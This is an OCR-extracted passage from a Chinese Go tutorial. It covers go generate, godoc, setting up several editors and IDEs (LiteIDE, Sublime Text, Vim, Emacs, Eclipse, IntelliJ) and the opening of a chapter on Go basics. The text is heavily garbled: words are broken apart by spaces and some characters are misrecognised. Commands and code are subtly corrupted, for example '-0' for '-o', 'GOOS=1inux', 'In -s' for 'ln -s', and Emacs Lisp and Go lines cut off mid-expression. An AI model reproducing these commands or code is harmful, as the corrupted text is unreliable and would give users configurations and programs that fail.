这 个 命令 是 从 Go1.4 开 始 才 设 计 的 ， 用 于 在 编译 前 自动 化 生成 某 类 代 

码 。 go generate 和 go build 是 完全 不 一 样 的 命令 ， 通 过 分 析 源 码 中 特殊 的 注 
释 ， 然 后 执行 相应 的 命令 。 这 些 命令 都 是 很 明确 的 ， 没 有 任何 的 依赖 在 里 面 。 而 且 
大 家 在 用 这 个 之 前 心里 面 一 定 要 有 一 个 理念 ， 这 个 go generate 是 给 你 用 的 ， 不 
是 给 使 用 你 这 个 包 的 人 用 的 ， 是 方便 你 来 生成 一 些 代码 的 。 


这 里 我 们 来 举 一 个 简单 的 例子 ， 例 如 我 们 经 常会 使 用 yacc 来 生成 代码 ， 那 么 我 们 
常用 这 样 的 命令 : 


go tool yacc -o gopher.go -p parser gopher.y 


-0 指定 了 输出 的 文件 名 ， -p 指 定 了 package 的 名 称 ， 这 是 一 个 单独 的 命令， 如 果 我 
们 想 让 go generate 来 触发 这 个 命令 ， 那 么 就 可 以 在 当然 目录 的 任意 一 
个 xxx.go 文件 里 面 的 任意 位 置 增加 一 行 如 下 的 注释 : 


//go:generate go tool yacc -0 gopher.go -p parser gopher.y 


这 里 我 们 注意 了 ， (//go:generate 是 没有 任何 空格 的 ， 这 其 实 就 是 一 个 固定 的 格 
式 ， 在 扫描 源码 文件 的 时 候 就 是 根据 这 个 来 判断 的 。 


所 以 我 们 可 以 通过 如 下 的 命令 来 生成 ， 编 译 ， 测 试 。 如 果 gopher.y 文件 有 修改 ， 
那么 就 重新 执行 go generate 重新 生成 文件 就 好 。 


$ go generate 
$ go build 
$ go test 


godoc 


在 Go1.2 版 本 之 前 还 支持 go doc 命令 ， 但 是 之 后 全 部 已 到 了 godoc 这 个 命令 下 ， 
需要 这 样 安 装 go get golang.org/x/tools/cmd/godoc 


很 多 人 说 go 不 需要 任何 的 第 三 方 文档 ， r es (其 实 我 已 经 做 了 一 
了 ，chm 手 册 ) ， 因 为 它 内 部 就 有 一 个 很 强大 的 文档 工具 


如 何 查看 相应 package 的 文档 呢 ? 例如 builtin 包 ， 那 么 执行 godoc builtin 如 果 
是 http 包 ， 那 么 执行 godoc net/http 查看 某 一 个 包 里 面 的 吏 数 ， 那 么 执 
行 godoc fmt Printf 也 可 以 查看 相应 的 代码 ， 执 行 godoc -src fmt Printf 


过 命令 在 命令 行 执 行 godoc -http=: 端 口号 比如 godoc -http=:8080 。 然 后 在 
览 器 中 打开 127.0.0.1:8080 ， 你 将 会 看 到 一 个 golang.org 的 本 地 copy 版 本 ， 通 
过 它 你 可 以 查询 pkg 文 档 等 其 它 内 容 。 如 果 你 设置 了 GOPATH， 在 pkg 分 类 下 ， 不 但 
会 列 出 标准 包 的 文档 ， 还 会 会 列 出 你 本 地 GOPATH 中 所 有 项 目的 相关 文档 ， 这 对 于 经 
常 被 墙 的 用 户 来 说 是 一 个 不 错 的 选择 。 


go 还 提供 了 其 它 很 多 的 工具 ， 例 如 下 面 的 这 些 工具 


go version 查看 go 当前 的 版 本 

go env 查看 当前 go 的 环境 变量 

go list 列 出 当前 全 部 安装 的 package 
go run 编译 并 运行 Go 程序 


O 有 很 多 参数 没有 一 一 介绍 ， 用 户 可 以 使 用 go help 命令 获取 更 详 


OPATH 与 工作 空间 


1.4 Go 开发 工具 


本 节 我 将 介绍 几 个 开发 工具 ， 它 们 都 具有 自动 化 提示 ， 自 动 化 fmt 功 能 。 因 为 它们 都 
是 跨 平 台 的 ， 所 以 安装 步骤 之 类 的 都 是 通用 的 。 


LiteIDE 


LitelIDE 是 一 款 专门 为 Go 语言 开发 的 跨 平 台 轻 量 级 集成 开发 环境 (IDE), A 
visualfc 编 写 。 


图 1.4 LitelDE 主 界面 
LitelDE 主 要 特点 : 
。 支持 主流 操作 系统 


o Windows 
o Linux 
o MacOS X 
e Go 编译 环境 管理 和 切换 
o 管理 和 切换 多 个 Go 编译 环境 
o 支持 Go 话 言 交叉 编译 
与 Go 标准 一 致 的 项 目 管理 方式 
o 基于 GOPATH 的 包 浏 览 器 
o 基于 GOPATH 的 编译 系统 
o 基于 GOPATH 的 Api 文 档 检 索 
e Go 语言 的 编辑 支持 
o 类 浏览 器 和 大 纲 显 示 
Gocode( 代 码 自 动 完成 工具 ) 的 完美 支持 
Go 语言 文档 查看 和 Api 快 速 检 索 
代码 表达 式 信 息 显 示 F1 
源 代码 定义 跳 转 支持 F2 
Gdb 断 点 和 调试 支持 
gofmt 自 动 格式 化 支持 
也 特征 
支持 多 国语 言 界面 显示 
完全 插件 体系 结构 
支持 编辑 器 配色 方案 
基于 Kate 的 语法 显示 支持 
基于 全 文 的 单词 自动 完成 
支持 键盘 快捷 键 绑 定 方案 
Markdown 文 档 编 辑 支 持 
a 实时 预览 和 同步 显示 
= 自 定义 CSS 显 示 
a 可 导出 HTML 和 PDF 文档 
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NI 
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O 000 0 0 0 


@ 批量 转换 /合并 为 HTML/PDF 文 档 
LitelDE 安 装配 置 
e LitelDE 安 装 


o 下 载 地 址 http://sourceforge.net/projects/liteide/files/> 
o 源码 地 址 https://github.com/visualfc/liteide 


首先 安装 好 Go 语言 环境 ， 然 后 根据 操作 系统 下 载 LiteIDE 对 应 的 压缩 文件 
直接 解压 即 可 使 用 。 


。 编译 环境 设置 
根据 自身 系统 要 求 切换 和 配置 LitelDE 当 前 使 用 的 环境 变量 。 


以 Windows 操 作 系统 ，64 位 Go 语言 为 例 ， 工具 栏 的 环境 配置 中 选择 win64， 
点 编辑 环境 ， 进 入 LitelDE 编 辑 win64.env 文 件 


GOROOT=c: \go 
GOBIN= 

GOARCH=amd64 
GOOS=windows 
CGO_ENABLED=1 


PATH=%GOBIN%; %GOROOT%\ bin ; %PATH% 


o o o 


将 其 中 的 GoROOT=c:\go 修改 为 当前 Go 安装 路 径 ， 存 盘 即 可 ， 如 果 有 
MinGW64， 可 以 将 c:\MinGw64\bin 加 入 PATH 中 以 便 go 调 用 gcc 支 持 CGO 
编译 。 

以 Linux 操 作 系 统 ，64 位 Go 语言 为 例 ， 工具 栏 的 环境 配置 中 选择 linux64， 

点 编辑 环境 ， 进 入 LitelDE 编 辑 linux64.env 文 件 


GOROOT=$HOME/ go 
GOBIN= 
GOARCH=amd64 
GOOS=1inux 
CGO_ENABLED=1 


PATH=$GOBIN : $GOROOT/bin: $PATH 
将 其 中 的 GOROOT=$HOME/go 修改 为 当前 Go 安装 路 径 ， 存 盘 即 可 。 
e GOPATH 设 置 


Go 语言 的 工具 链 使 用 GOPATH 设 置 ， 是 Go 语言 开发 的 项 目 路 径 列 表 ， 在 命令 
行 中 输入 (在 LitelDE 中 也 可 以 ctr1+， 直 接 输入 ) go help gopath 快速 查看 
GOPATH 文 档 。 


在 LiteIDE 中 可 以 方便 的 查看 和 设置 GOPATH。 通 过 菜单 一 查看 一 GOPATH ik 
置 ， 可 以 查看 系统 中 已 存在 的 GOPATH 列 表 ， 同时 可 根据 需要 添加 项 目 目录 到 
自 定 义 GOPATH 列 表 中 。 


Sublime Text 
这 里 将 介绍 Sublime Text 2 (以 下 简称 Sublime) +GoSublime 的 组 合 ， 那 么 为 什么 
选择 这 个 组 合 呢 ? 


e 自动 化 提示 代码 ,如 下 图 所 示 


图 1.5 sublime 自 动 化 提示 界面 
e 保存 的 时 候 自 动 格式 化 代码 ， 让 您 编写 的 代码 更 加 美观 ， 符 合 Go 的 标准 。 
e 支持 项 目 管理 


图 1.6 sublime 项 目 管理 界面 
e 支持 语法 高 亮 


e Sublime Text 2 可 免费 使 用 ， 只 是 保存 次 数 达 到 一 定数 量 之 后 就 会 提示 是 否 购 
买 ， 点 击 取消 继续 用 ， 和 正式 注册 版 本 没有 任何 区 别 。 


接 下 来 就 开始 讲 如 何 安 装 ， 下 载 Sublime 


根据 自己 相应 的 系统 下 载 相 应 的 版 本 ， 然 后 打开 Sublime， 对 于 不 熟悉 Sublime 的 同 
学 可 以 先 看 一 下 这 篇 文章 Sublime Text 2 入 门 及 技巧 


1. 打开 之 后 安装 Package Control: Ctrl+` 打开 命令 行 ， 执 行 如 下 代码 : 


import urllib2,os; pf='Package Control.sublime-package'; 
ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not 
os.path.exists(ipp) else None; 
urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); 
open(os.path.join(ipp, pf),'wb').write(urllib2.urlopen(‘http://sublime.wbond.net/' 
+pf.replace('','%20')).read()); print 'Please restart Sublime Text to finish 
installation’ 


这 个 时 候 重启 一 下 Sublime， 可 以 发 现在 在 菜单 栏 多 了 一 个 如 下 的 栏目 ， 说 明 
Package Control 已 经 安装 成 功 了 。 


图 1.7 sublime 包 管理 


1. 安装 完 之 后 就 可 以 安装 Sublime 的 插件 了 。 需 安装 GoSublime、 
SidebarEnhancements 和 Go Build， 安 装 插件 之 后 记得 重启 Sublime 生 效 ， 
Ctrl+Shift+p 打 开 Package Controll 输入 pcip 《〈 即 “Package Control: Install 
Package” 的 缩写 ) 。 


这 个 时 候 看 左下 角 显 示 正 在 读 取 包 数据 ， 完 成 之 后 出 现 如 下 界面 


图 1.8 sublime 安 装 插件 界面 


这 个 时 候 输 入 GoSublime， 按 确定 就 开始 安装 了 。 同 理应 用 于 
SidebarEnhancements 和 Go Build。 


2. 验证 是 否 安装 成 功 ， 你 可 以 打开 Sublime， 打 开 main.go， 看 看 语法 是 不 是 高 亮 
T, A import 是 不 是 自动 化 提示 了 ， import "fmt" 之 后 ， 输 
A fmt. 是 不 是 自动 化 提示 有 函数 了 。 


如 果 已 经 出 现 这 个 提示 ， 那 说 明 你 已 经 安装 完成 了 ， 并 且 完 成 了 自动 提示 。 


如 果 没 有 出 现 这 样 的 提示 ， 一 般 就 是 你 的 $PATH 没有 配置 正确 。 你 可 以 打开 
终端 ， 输 入 gocode， 是 不 是 能 够 正确 运行 ， 如 果 不 行 就 说 明 $PATH 没有 配置 
正确 。 (针对 XP) 有 时 候 在 终端 能 运行 成 功 ,但 sublime 无 提示 或 者 编译 解码 错误 ， 
请 安装 sublime text3 和 convert utf8 插 件 试 一 试 


3. MacOS 下 已 经 设置 了 $GOROOT $GOPATH, $GOBIN， 还 是 没有 自动 提示 怎 
和 人 办。 


请 在 sublime 中 使 用 command + 9, 然后 输入 env 检 查 $PATH, GOROOT, 
$GOPATH, $GOBIN 等 变量 ， 如 果 没 有 请 采用 下 面 的 方法 。 


首先 建立 下 面 的 连接 ， 然后 从 Terminal 中 直接 启动 sublime 


In -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl 
/usr/local/bin/sublime 


Vim 


Vim 是 从 vi 发 展 出 来 的 一 个 文本 编辑 器 , 代码 补 全、 编译 及 错误 跳 转 等 方便 编程 的 功 
能 特别 丰富 ， 在 程序 员 中 被 广泛 使 用 。 


图 1.9 VIM 编辑 器 自动 化 提示 Go 界面 


1. 配置 vim 高 亮 显 示 


cp -r $GOROOT/misc/vim/* ~/.vim/ 


2. 在 ~/.vimrc 文 件 中 增加 语法 高 亮 显示 


filetype plugin indent on 
syntax on 


3. 安装 Gocode 


go get -u github.com/nsf/gocode 


gocode 默 认 安 装 到 $GOPATH/bin 下 面 。 
4. 配置 Gocode 


~ cd $GOPATH/src/github.com/nsf/gocode/vim 

~ ./update.bash 

~ gocode set propose-builtins true 

propose-builtins true 

~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" 
lib-path "/home/border/gocode/pkg/linux_amd64" 

~ gocode set 

propose-builtins true 

lib-path "/home/border/gocode/pkg/linux_amd64" 


gocode set 里 面 的 两 个 参数 的 含意 说 明 : 


propose-builtins : 是 否 自动 提示 Go 的 内 和 置 函数、 类 型 和 常量 ， 上 默认 为 
false， 不 提示 。 

lib-path: 默 认 情 况 下 ，gocode 只 会 搜 
32$GOPATH/pkg/$GOOS_$GOARCH 和 


$GOROOT/pkg/$GOOS _$GOARCH 目 录 下 的 包 ， 当 然 这 个 设置 就 是 可 以 
设置 我 们 额外 的 lib 能 访问 的 路 径 


1. 恭喜 你 ， 安 装 完成 ， 你 现在 可 以 使 用 :e main.go 体验 一 下 开发 Go 的 乐趣 。 
更 多 VIM 设 定 , 可 参考 链接 


Emacs 
Emacs 传说 中 的 神器 ， 她 不 仅仅 是 一 个 编辑 器 ， 它 是 一 个 整合 环境 ， 或 可 称 它 为 集 
成 开发 环境 ， 这 些 功 能 如 让 使 用 者 置身 于 全 功能 的 操作 系统 中 。 


图 1.10 Emacs 编辑 Go 主 界面 


1. 配置 Emacs 高 亮 显 示 


2. 


cp $GOROOT/misc/emacs/* ~/.emacs.d/ 


安装 Gocode 


go get -u github.com/nsf/gocode 


gocode 默 认 安 装 到 $GOBIN 2M FM. 


3. 配置 Gocode 


a] a __& 
1 


到 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 让 


~ cd $GOPATH/src/github.com/nsf/gocode/emacs 

~ cp go-autocomplete.el ~/.emacs.d/ 

~ gocode set propose-builtins true 

propose-builtins true 

~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 
lib-path "/home/border/gocode/pkg/linux_amd64" 

~ gocode set 

propose-builtins true 

lib-path "/home/border/gocode/pkg/linux_amd64" 





需要 安装 Auto Completion 

下 载 AutoComplete 并 解压 

~ make install DIR=$HOME/.emacs.d/auto-complete 
配置 ~/.emacs 文 件 


;;auto-complete 

(require 'auto-complete-config) 

(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-comp] 
(ac-config-default ) 

(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) 
(local-set-key "." 'semantic-complete-self-insert) 
(local-set-key ">" 'semantic-complete-self-insert) 





详细 信息 参考 : http:/www.emacswiki.org/emacs/AutoComplete 


2. 配置 .emacs 


;; golang mode 

(require 'go-mode-load) 
(require 'go-autocomplete) 
;; speedbar 

;; (speedbar 1) 


(speedbar -add-supported-extension ".go") 
(add-hook 
"go-mode-hook 
"(lambda () 
;; gocode 
(auto-complete-mode 1) 
(setq ac-sources '(ac-source-go) ) 
;; Imenu & Speedbar 
(setq imenu-generic-expression 
'(("type" "Atype *\\([4 \t\n\r\f]*7\\)" 1) 
@ func a pate ANANS cle) 
(imenu-add-to-menubar "Index" ) 
;; Outline mode 
(make-local-variable 'outline-regexp) 
(setq outline-regexp "//\\.\\|//[4\r\n\f] [A\r\n\f]\\ | packs 
(outline-minor-mode 1) 
(local-set-key "\M-a" 'outline-previous-visible-heading) 
(local-set-key "\M-e" 'outline-next-visible-heading) 
;; Menu bar 
(require 'easymenu ) 
(defconst go-hooked-menu 
'("Go tools" 
["Go run buffer" go t] 
["Go reformat buffer" go-fmt-buffer t] 
["Go check buffer" go-fix-buffer t])) 
(easy-menu-define 
go-added-menu 
(current-local-map) 
"Go tools" 
go-hooked-menu ) 


;; Other 
(setq show-trailing-whitespace t) 
)) 
;; helper function 
(defun go () 
"run current buffer" 
(interactive) 
(compile (concat "go run " (buffer-file-name) ) ) ) 


;; helper function 
(defun go-fmt-buffer () 
"run gofmt on current buffer" 
(interactive) 
(if buffer-read-only 
(progn 
(ding) 
(message "Buffer is read only")) 
(let ((p (1line-number-at-pos) ) 
(filename (buffer-file-name) ) 
(old-max-mini-window-height max-mini-window-height ) ) 
(show-all) 
(if (get-buffer "*Go Reformat Errors*") 


(progn 
(delete-windows-on "*Go Reformat Errors*") 
(kill-buffer "*Go Reformat Errors*"))) 
(setq max-mini-window-height 1) 
(if (= 0 (shell-command-on-region (point-min) (point-n 
(progn 
(erase-buffer) 
(insert-buffer-substring "*Go Reformat Output*") 
(goto-char (point-min) ) 
(forward-line (1- p))) 
(with-current-buffer "*Go Reformat Errors*" 
(progn 
(goto-char (point-min) ) 
(while (re-search-forward "<standard input>" nil t) 
(replace-match filename) ) 
(goto-char (point-min) ) 
(compilation-mode) ) ) ) 
(setq max-mini-window-height old-max-mini-window-heigl 
(delete-windows-on "*Go Reformat Output*") 
(kill-buffer "*Go Reformat Output*")))) 


;; helper function 
(defun go-fix-buffer () 


"run gofix on current buffer" 

(interactive) 

(show-all) 

(shell-command-on-region (point-min) (point-max) "go tool 





3. 恭喜 你 ， 你 现在 可 以 体验 在 神器 中 开发 Go 的 乐趣 。 默 认 speedbar 是 关闭 的 ， 


Eclipse 


如 果 打开 需要 把 ;; (speedbar 1) 前 面 的 注释 去 掉 ， 或 者 也 可 以 通过 M-x 
speedbar 手动 开启 。 


Eclipse 也 是 非常 常用 的 开发 利器 ， 以 下 介绍 如 何 使 用 Eclipse 来 编写 Go 程序 。 


图 1.11 Eclipse 编辑 Go 的 主 界面 


1 
2. 


首先 下 载 并 安装 好 Eclipse 

下 载 goclipse 插 件 
http://code.google.com/p/goclipse/wiki/InstallationInstructions 
. 下 载 gocode， 用 于 go 的 代码 补 全 提示 

gocode 的 github 地 址 : 


https://github.com/nsf/gocode 


在 windows 下 要 安装 git， 通 常用 msysgit 
再 在 cmd 下 安装 : 


go get -u github.com/nsf/gocode 


也 可 以 下 载 代码 ， 直 接 用 go build 来 编译 ， 会 生成 gocode.exe 
4. 下 载 MinGW 并 按 要 求 装 好 
5. 配置 插件 

Windows->Reference->Go 


(1). 配 置 Go 的 编译 器 


图 1.12 设置 Go 的 一 些 基础 信息 


(2). 配 置 Gocode (AJ, He) ， 设 置 Gocode 路 径 为 之 前 生成 的 gocode.exe 
文件 


图 1.13 设置 gocode 信 息 
(3). 配 置 GDB (可 选 ， 做 调试 用 ) ， 设 置 GDB 路 径 为 MingW 安 装 目录 下 的 gdb.exe 
文件 


图 1.14 设置 GDB 信 息 
1. 测试 是 否 成 功 


新 建 一 个 go 工程 ， 再 建立 一 个 hello.go。 如 下 图 : 


图 1.15 新 建 项 目 编辑 文件 
调试 如 下 (要 在 console 中 用 输入 命令 来 调试 ) 


图 1.16 调试 Go 程序 


IntelliJ IDEA 


熟悉 Java 的 读者 应 该 对 于 idea 不 陌生 ，idea 是 通过 一 个 插件 来 支持 go 语言 的 高 亮 语 
法 ,代码 提示 和 重 构 实现 。 


1. 先 下载 idea，idea 支 持 多 平台 : win,mac,linux， 如 果 有 钱 就 买 个 正式 版 ， 如 果 
不 行 就 使 用 社区 免费 版 ， 对 于 只 是 开发 Go 语言 来 说 免费 版 足够 用 了 


2. 安装 Go 插件 ， 点 击 菜单 File 中 的 Setting， 找 到 Plugins, 点 击 ,Broswer repo 按 
钮 。 国 内 的 用 户 可 能 会 报错 ， 自 己 解 决 哈 。 


3. 这 时 候 会 看 见 很 多 插件 ， 搜 索 找 到 Golang, 双 击 ,download and install。 等 到 
golang 那 一 行 后 面 出 现 Downloaded 标 志 后 ,点 OK。 


然后 点 Apply .这 时 候 IDE 会 要 求 你 重启 。 
4. 重启 完毕 后 ,创建 新 项 目 会 发 现 已 经 可 以 创建 golang 项 目 了 : 


下 一 步 ,会 要 求 你 输入 go sdk 的 位 置 ,一 般 都 安装 在 C:\Go，linux 和 mac 根 据 自己 
的 安装 目录 设置 ， 选 中 目录 确定 ,就 可 以 了 。 


links 
e Ax 
e 上 一 节 : Go MT 
e 下 一 节 : 总 结 
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这 一 章 中 我 们 主要 介绍 了 如 何 安 装 Go，Go 可 以 通过 三 种 方式 安装 : 源码 安装 、 标 
准 包 安 装 、 第 三 方 工具 安装 ， 安 装 之 后 我 们 需要 配置 我 们 的 开发 环境 ， 然 后 介绍 了 
如 何 配 置 本 地 的 $GOPATH ， 通 过 设置 $GOPATH 之 后 读者 就 可 以 创建 项 目 ， 接 着 
介绍 了 如 何 来 进行 项 目 编译 、 应 用 安装 等 问题 ， 这 些 需要 用 到 很 多 Go 命令 ， 所 以 接 
着 就 介绍 了 一 些 Go 的 常用 命令 工具 ， 包 括 编译 、 安 装 、 格 式 化 、 测 试 等 命 售 ， 最 后 
介绍 了 Go 的 开发 工具 ， 目 前 有 很 多 Go 的 开发 工具 : LitelDE, sublime, VIM, 
Emacs、Eclipse、ldea 等 工具 ， 读 者 可 以 根据 自己 熟悉 的 工具 进行 配置 ， 希 望 能 够 
通过 方便 的 工具 快速 的 开发 Go 应 用 。 


2 Go 语言 基础 


Go 是 一 门类 似 C 的 编译 型 语言 ， 但 是 它 的 编译 速度 非常 快 。 这 门 语言 的 关键 字 总 共 
也 就 二 十 五 个 ， 比 英文 字母 还 少 一 个 ， 这 对 于 我 们 的 学 习 来 说 就 简单 了 很 多 。 先 让 
我 们 看 一 眼 这 些 关 键 字 都 长 什么 样 : 


1N 


break default func interface select 
case defer go map struct 
chan else goto package switch 
const fallthrough if range type 
continue for import return var 


在 接 下 来 的 这 一 章 中 ， 我 将 带领 你 去 学 习 这 门 语言 的 基础 。 通 过 每 一 小 节 的 介绍 ， 
你 将 发 现 ， Go 的 世界 是 那么 地 简 洁 ， 设 计 是 如 此 地 美妙 ， 编 写 Go 将 会 是 一 件 愉快 
的 事情 。 等 回 过 头 来 ， 你 就 会 发 现 这 二 十 五 个 关键 字 是 多 么 地 亲切 。 


目录 


2.1 你 好 ，Go 


在 开始 编写 应 用 之 前 ， 我 们 先 从 最 基本 的 程序 开始 。 就 像 你 造 房 子 之 前 不 知道 什么 
是 地 基 一 样 ， 编 写 程序 也 不 知道 如 何 开 始 。 因 此 ， 在 本 节 中 ， 我 们 要 学 习 用 最 基本 
的 语法 让 Go 程序 运行 起 来 。 


程序 


这 就 像 一 个 传统 ， 在 学 习 大 部 分 语言 之 前 ， 你 先 学 会 如 何 编写 一 个 可 以 输 
出 hello world 的 程序 。 


准备 好 了 吗 ?Let's Go! 


package main 
import "fmt" 


func main() { ; 
fmt .Printf("Hello, world or 你 好 ， 世 界 or kaAnu pa kóou or ZAKE 


输出 如 下 : 





Hello, world or 你 好 ， 世 界 or KaAnN pa Koou or TAC Blt ALY 


详解 
首先 我 们 要 了 解 一 个 概念 ，Go 程 序 是 通过 package 来 组 织 的 


package <pkgName> (在 我 们 的 例子 中 是 package main ) 这 一 行 告 诉 我 们 当 

前 文件 属于 哪个 包 ， 而 包 名 main 则 告 gl 是 一 个 可 独立 运行 的 包 ， 它 在 编译 
会 产生 可 执行 文件 。 除 了 main 包 之 外 ， 其 它 的 包 最 后 都 会 生成 * .a 文件 (也 

就 是 包 文件 ) 并 放置 在 $60PATH/pkg/$600S_$GOARCH 中 (以 Mac 为 例 就 

是 $GOPATH/pkg/darwin_amd64 ) 。 


每 一 个 可 独立 运行 的 Go 程序 ， 必 定 包含 一 个 package main ， 在 这 
个 main 包 中 必定 包含 一 个 人 口 函 数 main ， 而 这 个 函数 既 没 有 参数 ， 也 没有 
WR [8] (4. 


为 了 打印 Hello, world... ， 我 们 调用 了 一 个 函数 Printf ， 这 个 函数 来 自 
于 fmt 包 ， 所 以 我 们 在 第 三 行 中 导入 了 系统 级 别 的 fmt 包 : import "fmt" 。 


包 的 概念 和 Python 中 的 package 类 似 ， 它 们 都 有 一 些 特 别 的 好 处 : 模块 化 (能 够 把 
你 的 程序 分 成 多 个 模块 ) 和 可 重用 性 (每 个 模块 都 能 被 其 它 应 用 程序 反复 使 用 ) 。 我 
们 在 这 里 只 是 先 了 解 一 下 包 的 概念 ， 后 面 我 们 将 会 编写 自己 的 包 。 


在 第 五 行 中 ， 我 们 通过 关键 字 func 定义 了 一 个 main WH, KAUSI 
在 {} (大 括号 ) 中 ， 就 像 我 们 平时 写 C、C++ 或 Java 时 一 样 。 


大 家 可 以 看 到 main 画 数 是 没有 任何 的 参数 的 ， 我 们 接 下 来 就 学 习 如 何 编写 带 参数 
的 、 返 回 0 个 或 多 个 值 的 函数 。 

第 六 行 ， 我 们 调用 了 fot 包 里 面 定 义 的 函数 Printf 。 大 家 可 以 看 到 个 函数 
是 通过 <pkgName>.<funcName> 的 方式 调用 的 ， 


前 面 提 到 过 ， 包 名 和 包 所 在 的 文件 夹 名 可 以 是 不 同 的 ， 此 处 的 <pkgName> BH 
为 通过 package <pkgName> 声明 的 包 名 ， 而 非 文 件 夹 名 。 


最 后 大 家 可 以 看 到 我 们 输出 的 内 容 里 面包 含 了 很 多 非 ASCII 码 字符 。 实 际 上 ，Go 是 
天 生 支 持 UTF-8 的 ， 任 何 字 符 都 可 以 直接 输出 ， 你 其 至 可 以 用 UTF-8 中 的 任何 字符 
作为 标识 符 。 





结论 


Go 使 用 package 〈 和 Python 的 模块 类 似 ) 来 组 织 代码 。 main.main() B(x 
个 函数 位 于 主 包 ) 是 每 一 个 独立 的 可 运行 程序 的 入 口 点 。Go 使 用 UTF-8 字 符 串 和 标 
识 符 ( 因 为 UTF-8 的 发 明 者 也 就 是 Go 的 发 明 者 )， 所 以 它 天 生 支持 多 语言 。 


2.2 Go 基础 


这 小 节 我 们 将 要 介绍 如 何 定义 变量 、 常 量 、Go 内 置 类 型 以 及 Go 程序 设计 中 的 一 些 
技巧 。 


ra 、 ~ H 
和 定义 变量 


Go 语言 里 面 定 义 变量 有 多 种 方式 。 


使 用 var 关键 字 是 Go 最 基本 的 定义 变量 方式 ， 与 C 话 言 不 同 的 是 Go 把 变量 类 型 放 
在 变量 名 后 面 : 


// 定 义 一 个 名 称 为 “variableName”， 类 型 为 "type" 的 变量 
var variableName type 


定义 多 个 变量 


// 定 义 三 个 类 型 都 是 “type” 的 变量 
var vnamel, vname2, vname3 type 


定义 变量 并 初始 化 值 


// 初 始 化 “variableName” 的 变量 为 “value” 值 ， 类 型 是 ^type” 
var variableName type = value 


同时 初始 化 多 个 变量 


Vex 
定义 三 个 类 型 都 是 "type" 的 变量 , 并 且 分 别 初 始 化 为 相应 的 值 
vname1iAvi, vname2Av2, vname3Av3 

*/ 

var vnamei, vname2, vname3 type= v1, v2, v3 


你 是 不 是 觉得 上 面 这 样 的 定义 有 点 繁琐 ? 没关系 ， 因 为 Go 语言 的 设计 者 也 发 现 了 ， 
有 一 种 写法 可 以 让 它 变 得 简单 一 点 。 我 们 可 以 直接 忽略 类 型 声明 ， 那 么 上 面 的 代码 
变 成 这 样 了 : 


Fe 
定义 三 个 变量 ， 它 们 分 别 初始 化 为 相应 的 值 
vnamei 为 V1，vname2 为 V2，vVvname3 为 v3 
然后 Go 会 根据 其 相应 值 的 类 型 来 帮 你 初始 化 它们 

2 

var vname1, vname2, vname3 = vi, v2, v3 


你 觉得 上 面 的 还 是 有 些 繁琐 ? 好 吧 ， 我 也 觉得 。 让 我 们 继续 简化 : 


Ce 
定义 三 个 变量 ， 它 们 分 别 初始 化 为 相应 的 值 
vname1Avi, vname2Av2, vname3Av3 
编译 器 会 根据 初始 化 的 值 自 动 推导 出 相应 的 类 型 

7 

vname1, vname2, vname3 := vi, v2, v3 


现在 是 不 是 看 上 去 非常 简洁 了 ? := 这 个 符号 直接 取代 了 var 和 type ,这 种 形式 
叫做 简短 声明 。 不 过 它 有 一 个 限制 ， 那 就 是 它 只 能 用 在 函数 内 部 ; 在 函数 外 部 使 用 
则 会 无 法 编译 通过 ， 所 以 一 般 用 var 方式 来 定义 全 局 变量 。 

_ CRRA) 是 个 特殊 的 变量 名 ， 任 何 赋予 它 的 值 都 会 被 委 奔 。 在 这 个 例子 中 ， 
我 们 将 值 35 赋予 bp ， 并 同时 丢弃 34 


_, b := 34, 35 


Go 对 于 已 声明 但 未 使 用 的 变量 会 在 编译 阶段 报错 ， 比 如 下 面 的 代码 就 会 产生 一 个 错 
误 : 声明 了 i 但 未 使 用 。 
package main 


func main() { 
var i int 
} 


H4 E 
rh Æ 


所 谓 常量 ， 也 就 是 在 程序 编译 阶段 就 确定 下 来 的 值 ， 而 程序 在 运行 时 无 法 改变 该 
值 。 在 Go 程序 中 ， 常 量 可 定义 为 数值 、 布 尔 值 或 字符 串 等 类 型 。 


它 的 语法 如 下 : 


const constantName = Value 
// 如 果 需 要 ， 也 可 以 明确 指定 常量 的 类 型 : 
const Pi float32 = 3.1415926 


下 面 是 一 些 常 量 声明 的 例子 : 


const Pi = 3.1415926 
const i = 10000 

const MaxThread = 10 
const prefix = "astaxie_" 


Go 常量 和 一 般 程序 语言 不 同 的 是 ， 可 以 指定 相当 多 的 小 数位 数 (例如 200 位 )， Ais 
定 给 float32 自 动 缩短 为 32bit， 指 定 给 float64 自 动 缩短 为 64bit， 详 情 参考 链接 


内 置 基 础 类 型 
Boolean 


在 Go 中 ， 布 尔 值 的 类 型 为 bool1 ， 值 是 true 或 false, PA false 。 


// 示 例 代码 
var isActive bool // 全 局 变量 声明 
var enabled, disabled = true, false // 忽略 类 型 的 声明 
func test() { 
var available bool // 一 般 声明 
valid := false // 简短 声明 
available = true // 赋值 操作 


数值 类 型 


整数 类 型 有 无 符号 和 带 符号 两 种 。Go 同 时 支持 int 和 uint ， 这 两 种 类 型 的 长 度 
相同 ， 但 具体 长 度 取决 于 不 同 编译 器 的 实现 。Go 里 面 也 有 直接 定义 好 位 数 的 类 
型 : rune, int8, int16 , int32 , int64 和 byte , uint8 ，uint16 , 
uint32 , uint64 > HH rune 是 int32 的 别称 ， byte 是 uint8 的 别称 。 


需要 注意 的 一 点 是 ， 这 些 类 型 的 变量 之 间 不 允许 互相 赋值 或 操作 ， 不 然 会 在 编 
译 时 引起 编译 器 报错 。 


如 下 的 代码 会 产生 错误 : invalid operation: a + b (mismatched types int8 and 
int32) 
var a int8 
var b int32 
c:=a+b 
另外 ， 尽 管 int 的 长 度 是 32 bit, 但 int 与 int32 并 不 可 以 互 用 。 
浮 点 数 的 类 型 有 float32 和 float64 两 种 (没有 float 类 型 ) ， 默 认 
是 float64 。 


这 就 是 全 部 吗 ? No! Go 还 支持 复数 。 它 的 默认 类 型 是 complex128 〈64 位 实数 
+64 位 虚数 ) 。 如 果 需 要 小 一 些 的 ， 也 有 complex64 (32 位 实数 +32 位 虚数 )。 复 数 
的 形式 为 RE + IMi ， 其 中 RE 是 实数 部 分 ， IM 是 虚数 部 分 ， 而 最 后 的 i 是 虚 
